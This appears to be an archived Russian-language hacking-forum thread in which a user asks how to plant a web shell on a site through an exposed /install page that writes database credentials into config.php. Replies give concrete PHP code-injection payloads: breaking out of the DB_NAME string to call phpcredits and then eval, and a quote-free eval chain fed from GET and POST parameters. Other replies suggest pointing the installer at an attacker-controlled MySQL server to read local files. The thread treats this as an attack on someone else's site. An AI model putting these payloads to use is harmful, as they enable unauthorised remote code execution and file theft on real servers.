PDA

Просмотр полной версии : Прошу помочь с уязвимостью. PHP inj


weleor
18.09.2017, 06:38
Добрый день!

Есть сайт, у него есть директория /install где я могу изменять:


Имя БД

Имя юзера

пасс

хост
Все это соотвественно сохраняется в конфиг.php такого вида:


PHP:
'mysql',
'DB_HOST'=>'localhost',
'DB_NAME'=>'bdname',
'DB_USER'=>'root',
'DB_PWD'=>'root',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'ez_',
'SHOW_ERROR_MSG'=>true,
);
?>

Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?

BabaDook
24.09.2017, 22:02
weleor said:
↑ (https://antichat.live/posts/4129300/)
Добрый день!
Есть сайт, у него есть директория /install где я могу изменять:

Имя БД

Имя юзера

пасс

хост

Все это соотвественно сохраняется в конфиг.php такого вида:

PHP:
'mysql',
'DB_HOST'=>'localhost',
'DB_NAME'=>'bdname',
'DB_USER'=>'root',
'DB_PWD'=>'root',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'ez_',
'SHOW_ERROR_MSG'=>true,
);
?>

Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?


Можешь залить шелл. Но тут 'DB_HOST'=>'localhost'

crlf
24.09.2017, 23:05
weleor said:
↑ (https://antichat.live/posts/4129300/)
Можно ли как-то заинклудить своя Шелл в этот конфиг через форму в /install и потом запустить сам Config.php со своим шеллом?


Если конфиг точно пишется в файл, то можно попробовать записать DB_NAME так:


PHP:
'.phpcredits(),//


Если при обращении к конфигу выведется phpcredits, то можно заменить его на eval. Но скорее всего кавычка будет эскейпиться.


BabaDook said:
↑ (https://antichat.live/posts/4131613/)
Можешь залить шелл. Но тут 'DB_HOST'=>'localhost'




weleor said:
↑ (https://antichat.live/posts/4129300/)
я могу изменять:

Имя БД

Имя юзера

пасс

хост



Может писать все креды. Поэтому есть смысл пробовать вариант инсталла на удалённый сервер. И чтение локальных файлов на мускул клиенте, если пых старенький.

BabaDook
25.09.2017, 00:11
Я чё та не до конца прочитал.... Ты о способе локал дата, с фейк сервером?

crlf
25.09.2017, 00:47
BabaDook said:
↑ (https://antichat.live/posts/4131676/)
Ты о способе локал дата, с фейк сервером?


Да, один из вариантов, в случае фейла с инъекцией.

BabaDook
25.09.2017, 01:23
crlf said:
↑ (https://antichat.live/posts/4131688/)
Да, один из вариантов, в случае фейла с инъекцией.


Ну да, есть варианты, но надо тыкать. Согласен вообщем..

erwerr2321
25.09.2017, 01:28
Да, тыкать надо по-любому!

SooLFaa
25.09.2017, 15:41
crlf said:
↑ (https://antichat.live/posts/4131652/)
Если конфиг точно пишется в файл, то можно попробовать записать
DB_NAME
так:

PHP:
'.phpcredits(),//


Если при обращении к конфигу выведется
phpcredits
, то можно заменить его на
eval
. Но скорее всего кавычка будет эскейпиться.
Может писать все креды. Поэтому есть смысл пробовать вариант инсталла на удалённый сервер. И чтение локальных файлов на мускул клиенте, если пых старенький.


Не мне тебя учить, что можно и без кавычки обойтись. Поэтому просто дополню:

Вариантов куча, один из.

Например постом отправляем


Code:
cmd=print(eval(current($_GET)));print(____);die;

А в гет


Code:
/index.php?anyname=phpcredits();

crlf
25.09.2017, 17:48
SooLFaa said:
↑ (https://antichat.live/posts/4131825/)
Не мне тебя учить, что можно и без кавычки обойтись.


Скорее всего нужно Так как вижу только один вариант, и тот, только в "благоприятных" условиях возможен:


PHP:
'mysql',
'DB_HOST'=>'localhost',
'DB_NAME'=>''.phpcredits(),//',
'DB_USER'=>'root',
'DB_PWD'=>'root',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'ez_',
'SHOW_ERROR_MSG'=>true,
);
?>


В качестве альтернативы предложил ещё пару вариантов. Из которых, инсталл базы на подконтрольный сервер, с последующей эксплуатацией через данные поступающие из БД, кажется самым реальным из всех.


BabaDook said:
↑ (https://antichat.live/posts/4131696/)
Ну да, есть варианты, но надо тыкать. Согласен вообщем..




ms13 said:
↑ (https://antichat.live/posts/4131698/)
Да, тыкать надо по-любому!


Есть варианты когда тыкать не нужно?

BabaDook
25.09.2017, 18:21
crlf said:
↑ (https://antichat.live/posts/4131865/)
Скорее всего нужно
Так как вижу только один вариант, и тот, только в "благоприятных" условиях возможен:

PHP:
'mysql',
'DB_HOST'=>'localhost',
'DB_NAME'=>''.phpcredits(),//',
'DB_USER'=>'root',
'DB_PWD'=>'root',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'ez_',
'SHOW_ERROR_MSG'=>true,
);
?>


В качестве альтернативы предложил ещё пару вариантов. Из которых, инсталл базы на подконтрольный сервер, с последующей эксплуатацией через данные поступающие из БД, кажется самым реальным из всех.
Есть варианты когда тыкать не нужно?


ага, когда есть логи, десйтвие -> результат/ К тому же не понятно как он может править конфиг.

crlf
25.09.2017, 18:38
BabaDook said:
↑ (https://antichat.live/posts/4131879/)
ага, когда есть логи, десйтвие -> результат/


Какие логи и для чего?


BabaDook said:
↑ (https://antichat.live/posts/4131879/)
К тому же не понятно как он может править конфиг.




weleor said:
↑ (https://antichat.live/posts/4129300/)
Есть сайт, у него есть директория /install где я могу изменять:


Инсталляшка у него, которая пишет конфиг.

BabaDook
25.09.2017, 18:41
ну. там что в водил, что получалось, куда в водил, вообщем когда есть вся информация. Тогда можно и не тыкать